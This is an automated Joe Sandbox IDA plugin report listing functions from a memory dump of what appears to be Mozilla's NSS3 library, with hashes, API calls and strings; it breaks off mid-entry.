Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: memset
String ID: @zNl
API String ID: 2221118986-3385337183
Opcode ID: ef2535b6a18c197956e9239e92efb7970b994ef5f6472bfed51913acb432d92b
Instruction ID: fb82761dff869c9035281e3e9fd64f88544f8be2f2254e2c3590422b1eb13831
Opcode Fuzzy Hash: ef2535b6a18c197956e9239e92efb7970b994ef5f6472bfed51913acb432d92b
Instruction Fuzzy Hash: CF51F671A057919FC704DF29C094AA6BBF0BF59308B24929DC8884BB13D332F596CBD1

Function 6C4D6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C4D6D36

Strings

%s at line %d of [%.10s], xrefs: 6C4D6D2F
database corruption, xrefs: 6C4D6D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C4D6D20

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 780874b204008332dad9b839fc4666ec978702c14629939c51bae95693695181
Instruction ID: ef10c5832988cc148e527d36149db1c8f44a7f6b32cebe92082f1a89a25b058f
Opcode Fuzzy Hash: 780874b204008332dad9b839fc4666ec978702c14629939c51bae95693695181
Instruction Fuzzy Hash: 3B21E0707003059BC720DE19E851F9AB7E2AF85308F25892CD8599BF51E771F9498BA2

Function 6C5B2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+[l,6C5B32C2,<+[l,00000000,00000000,?), ref: 6C5B2FDA

Part of subcall function 6C5A14C0: TlsGetValue.KERNEL32 ref: 6C5A14E0
Part of subcall function 6C5A14C0: EnterCriticalSection.KERNEL32 ref: 6C5A14F5
Part of subcall function 6C5A14C0: PR_Unlock.NSS3 ref: 6C5A150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C5B300B

Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A10F3
Part of subcall function 6C5A10C0: EnterCriticalSection.KERNEL32(?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A110C
Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1141
Part of subcall function 6C5A10C0: PR_Unlock.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1182
Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C5B302A

Part of subcall function 6C5A0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A08B4

Part of subcall function 6C58C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C58C45D
Part of subcall function 6C58C3D0: TlsGetValue.KERNEL32 ref: 6C58C494
Part of subcall function 6C58C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C58C4A9
Part of subcall function 6C58C3D0: PR_Unlock.NSS3(?), ref: 6C58C4F4

Strings

<+[l, xrefs: 6C5B2FD0

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+[l
API String ID: 2538134263-3001719016
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: d18cafc18d7a9b429737dbbbaeac10e6343f13bae39f7a50c819cf83f686a1e4
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: F511EBB6B00108EBDB008E65DC00A9B7BD99FC4268F194134E91CE7781EB72ED16C791

Function 6C60CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C60CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C60CC7B), ref: 6C60CD7A
Part of subcall function 6C60CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C60CD8E
Part of subcall function 6C60CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C60CDA5
Part of subcall function 6C60CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C60CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C60CCB5
memcpy.VCRUNTIME140(6C6A14F4,6C6A02AC,00000090), ref: 6C60CCD3
memcpy.VCRUNTIME140(6C6A1588,6C6A02AC,00000090), ref: 6C60CD2B

Part of subcall function 6C529AC0: socket.WSOCK32(?,00000017,6C5299BE), ref: 6C529AE6
Part of subcall function 6C529AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C5299BE), ref: 6C529AFC

Part of subcall function 6C530590: closesocket.WSOCK32(6C529A8F,?,?,6C529A8F,00000000), ref: 6C530597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C60CCB0

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 9ba7a884378caf7d78f81a95c8ac0c61966129fdc6857f31aa3e95cfbc26854d
Instruction ID: 4ce96674321f504ec5fd56cc942b2dde7468dc673435542c5f36dda0a99e3045
Opcode Fuzzy Hash: 9ba7a884378caf7d78f81a95c8ac0c61966129fdc6857f31aa3e95cfbc26854d
Instruction Fuzzy Hash: BD11A5F1B00250DFDB049FEBEC8674A3BA89786618F601125E4068BB41E731E8148BDE

Function 6C52AB80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C52AB8A
PR_SetError.NSS3(FFFFE897,00000000), ref: 6C52AC07

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

PR_LogPrint.NSS3(connect -> %d,00000000), ref: 6C52AC1A

Strings

connect -> %d, xrefs: 6C52AC15

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$ErrorPrint
String ID: connect -> %d
API String ID: 1784924131-3487059786
Opcode ID: 6cf1d7c143ce915bf0886d67c42055ffc89c9223953b170cbac1a160d971738e
Instruction ID: 65ee85df156302b1f3fe20d46a8a920282bde70b4a3099f3b1b802661d55708b
Opcode Fuzzy Hash: 6cf1d7c143ce915bf0886d67c42055ffc89c9223953b170cbac1a160d971738e
Instruction Fuzzy Hash: C3014E71A00144DBF7106F28DC0ABB93BA2EB82359F548974F81987A91E7399C90C691

Function 6C652BE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C652BFA
PR_ExitMonitor.NSS3 ref: 6C652C2B
PR_LogPrint.NSS3(%s incr => %d (for %s),?,?,?), ref: 6C652C5D

Strings

%s incr => %d (for %s), xrefs: 6C652C58

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Monitor$EnterExitPrint
String ID: %s incr => %d (for %s)
API String ID: 2736670396-2912983388
Opcode ID: f91be8b1be59aedb73d26d907597d298b5c4e3a999a948f5656a058a566e2a40
Instruction ID: dbf569239e9b729c02f797e94604bb2f18f66741a77a1c1d4e033c472b1b864b
Opcode Fuzzy Hash: f91be8b1be59aedb73d26d907597d298b5c4e3a999a948f5656a058a566e2a40
Instruction Fuzzy Hash: A10128B5B402109FD7118E57EC8464B73B9EB8631CF545429D80DC3B12EB31EC28C799

Function 6C4CA8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6C5FA480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C61C3A2,?,?,00000000,00000000), ref: 6C5FA528
Part of subcall function 6C5FA480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5FA6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C4CA94F

Strings

%s at line %d of [%.10s], xrefs: 6C4CA948
database corruption, xrefs: 6C4CA943
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C4CA939

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 0287c23b8cb6435760390ed10171bda3c0e50ffcb8a28ea242eca135677d8272
Instruction ID: f3be83d9742ead4800095f2c851446b83fbd8e3e976d8fc2710c5c40e247d639
Opcode Fuzzy Hash: 0287c23b8cb6435760390ed10171bda3c0e50ffcb8a28ea242eca135677d8272
Instruction Fuzzy Hash: D2014931B002089BC710CB6ADC06F6BB7F4AF8530DF454939E95957B90D731AC098BA6

Function 6C558850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C560715), ref: 6C558859
PR_NewLock.NSS3 ref: 6C558874

Part of subcall function 6C6098D0: calloc.MOZGLUE(00000001,00000084,6C530936,00000001,?,6C53102C), ref: 6C6098E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C55888D

Strings

NSS, xrefs: 6C558887

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: 4445d76a38c797fd1625727be331d6208567168a592256fd62e26881d2620c97
Instruction ID: de646caaaf0c5e75eec7ca0119f074972a76ab6f19b129dd8029de0e770abce5
Opcode Fuzzy Hash: 4445d76a38c797fd1625727be331d6208567168a592256fd62e26881d2620c97
Instruction Fuzzy Hash: 9BF0F6B2E8162077F31015696C06F8775989F9175EF440833E90CA3F82EF55992982F7

Function 6C5946D0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6C587A4F,?), ref: 6C5946F6
EnterCriticalSection.KERNEL32(?,?,?,6C587A4F,?), ref: 6C59470B
PR_Unlock.NSS3(?,?,?,?,6C587A4F,?), ref: 6C594720

Strings

OzXl, xrefs: 6C5946D9

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue
String ID: OzXl
API String ID: 1419708843-2368962782
Opcode ID: e7aa8dfe658e1c3e864ecc6673fa6595a11d1ea173cb9232088ea1e483fe5c07
Instruction ID: 8ee774a406408dbb6cd50a1db1f0495ce8984405ddc6017f90723b608831c83e
Opcode Fuzzy Hash: e7aa8dfe658e1c3e864ecc6673fa6595a11d1ea173cb9232088ea1e483fe5c07
Instruction Fuzzy Hash: 7901CCB1A04649DFDB00AF7AD888169BBF4FF46359F004569D88887A01E730A895CFD2

Function 6C5EA890 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,?,6C5D5F25,?,?,?,?,?,?,?,?,?,6C5DAAD4), ref: 6C5EA8A3

Part of subcall function 6C58ADC0: TlsGetValue.KERNEL32(?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE10
Part of subcall function 6C58ADC0: EnterCriticalSection.KERNEL32(?,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE24
Part of subcall function 6C58ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C56D079,00000000,00000001), ref: 6C58AE5A
Part of subcall function 6C58ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE6F
Part of subcall function 6C58ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE7F
Part of subcall function 6C58ADC0: TlsGetValue.KERNEL32(?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AEB1
Part of subcall function 6C58ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AEC9

PK11_FreeSymKey.NSS3(?,00000000,?,6C5D5F25,?,?,?,?,?,?,?,?,?,6C5DAAD4), ref: 6C5EA8BA
SECITEM_ZfreeItem_Util.NSS3(%_]l,00000000,00000000,?,6C5D5F25,?,?,?,?,?,?,?,?,?,6C5DAAD4), ref: 6C5EA8CF

Strings

%_]l, xrefs: 6C5EA894, 6C5EA8CE

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValue$Item_UnlockUtilZfreefreememset
String ID: %_]l
API String ID: 2877228265-2589583351
Opcode ID: 5f0733dfefaeb71f95b6cb5853f3c090ea1b64a77adf16869936d0242023cbd0
Instruction ID: 95a3dd0d6d0c93780154998aa628564bb31721bfc754942de8e6f33697f23748
Opcode Fuzzy Hash: 5f0733dfefaeb71f95b6cb5853f3c090ea1b64a77adf16869936d0242023cbd0
Instruction Fuzzy Hash: 0AF0A0B2A0272497EB109A26EC00B9377EC9B0075DF448064E81A97B41E325EC0587D1

Function 6C658770 Relevance: 6.4, APIs: 5, Instructions: 159stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C658756,?,?,?), ref: 6C658797
memcpy.VCRUNTIME140(00000000,6C658756,?,?,6C658756,?,?,?), ref: 6C6587C1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C658756,?,?,?), ref: 6C65884F
memcpy.VCRUNTIME140(?,?,00000001,?,?,?,?,?,6C658756,?,?,?), ref: 6C658891
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,6C658756,?,?,?), ref: 6C6588B4

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: 7af269252228e689ef3604f07cab55535a7c2b1a1a883aab6ae4c60322124f11
Instruction ID: ead231ae8e1c18a65c748c25e7493a1d6d31896b0143739134277ad95f772f11
Opcode Fuzzy Hash: 7af269252228e689ef3604f07cab55535a7c2b1a1a883aab6ae4c60322124f11
Instruction Fuzzy Hash: F5515075B012068FDB08CE68C8906AAB7E1FF89304F65812ED91AE7B50D731AD11CB94

Function 6C580630 Relevance: 6.1, APIs: 4, Instructions: 147memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C581940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C58563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C58195C
Part of subcall function 6C581940: EnterCriticalSection.KERNEL32(?,?,6C58563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C55EAC5,00000001), ref: 6C581970
Part of subcall function 6C581940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C55EAC5,00000001,?,6C55CE9B,00000001,6C55EAC5), ref: 6C5819A0

PORT_Alloc_Util.NSS3(00000000,?,?,?,?,?,?,00000000,?,00000009), ref: 6C580678

Part of subcall function 6C5A0BE0: malloc.MOZGLUE(6C598D2D,?,00000000,?), ref: 6C5A0BF8
Part of subcall function 6C5A0BE0: TlsGetValue.KERNEL32(6C598D2D,?,00000000,?), ref: 6C5A0C15

PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,?,00000009), ref: 6C5806E6
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C580770

Part of subcall function 6C581EA0: PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&Xl,6C566295,?,00000000,?,00000001,S&Xl,?), ref: 6C581ECB

free.MOZGLUE(?), ref: 6C580787

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Error$Value$Alloc_CriticalEnterSectionUnlockUtilfreemalloc
String ID:
API String ID: 1159529522-0
Opcode ID: c7f83cfc2f50df077716f57fbcf5a18cbb3fc7bf3358e311898bd0e150cd1003
Instruction ID: 7e2c494a26ade2710cc61182bebbb54915edae225491974b651f3c66713117f8
Opcode Fuzzy Hash: c7f83cfc2f50df077716f57fbcf5a18cbb3fc7bf3358e311898bd0e150cd1003
Instruction Fuzzy Hash: 314125B1D022259BDF10DF699C80EAF3B68AFC5354F140529E919A7701EB31ED14CBE0

Function 6C53C9B0 Relevance: 6.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3 ref: 6C53CB3D
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C53CB4B
sqlite3_free.NSS3 ref: 6C53CB70
sqlite3_result_error_nomem.NSS3 ref: 6C53CB99

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_result_error_nomemstrlen
String ID:
API String ID: 1052848593-0
Opcode ID: 6ae3ab2da7d9a96db331f30cc00686aa56dccbd5eb44f2bb877a18c9c7d58eef
Instruction ID: 4ef33b9b24acccbc27b7bc0bfe52bf2220c73d217c7cfc415f3f5119109af698
Opcode Fuzzy Hash: 6ae3ab2da7d9a96db331f30cc00686aa56dccbd5eb44f2bb877a18c9c7d58eef
Instruction Fuzzy Hash: 1B51F332608B65CAC701EF35C85016BB7F0FF86798F149B0DE8996B550EB31A495C787

Function 6C658530 Relevance: 6.1, APIs: 4, Instructions: 127threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C6A14E4,6C60CC70), ref: 6C658569
gethostbyaddr.WSOCK32(?,00000004,00000002), ref: 6C6585AD
GetLastError.KERNEL32(?,00000004,00000002), ref: 6C6585B6
PR_GetCurrentThread.NSS3(?,00000004,00000002), ref: 6C6585C6

Part of subcall function 6C530F00: PR_GetPageSize.NSS3(6C530936,FFFFE8AE,?,6C4C16B7,00000000,?,6C530936,00000000,?,6C4C204A), ref: 6C530F1B
Part of subcall function 6C530F00: PR_NewLogModule.NSS3(clock,6C530936,FFFFE8AE,?,6C4C16B7,00000000,?,6C530936,00000000,?,6C4C204A), ref: 6C530F25

Memory Dump Source

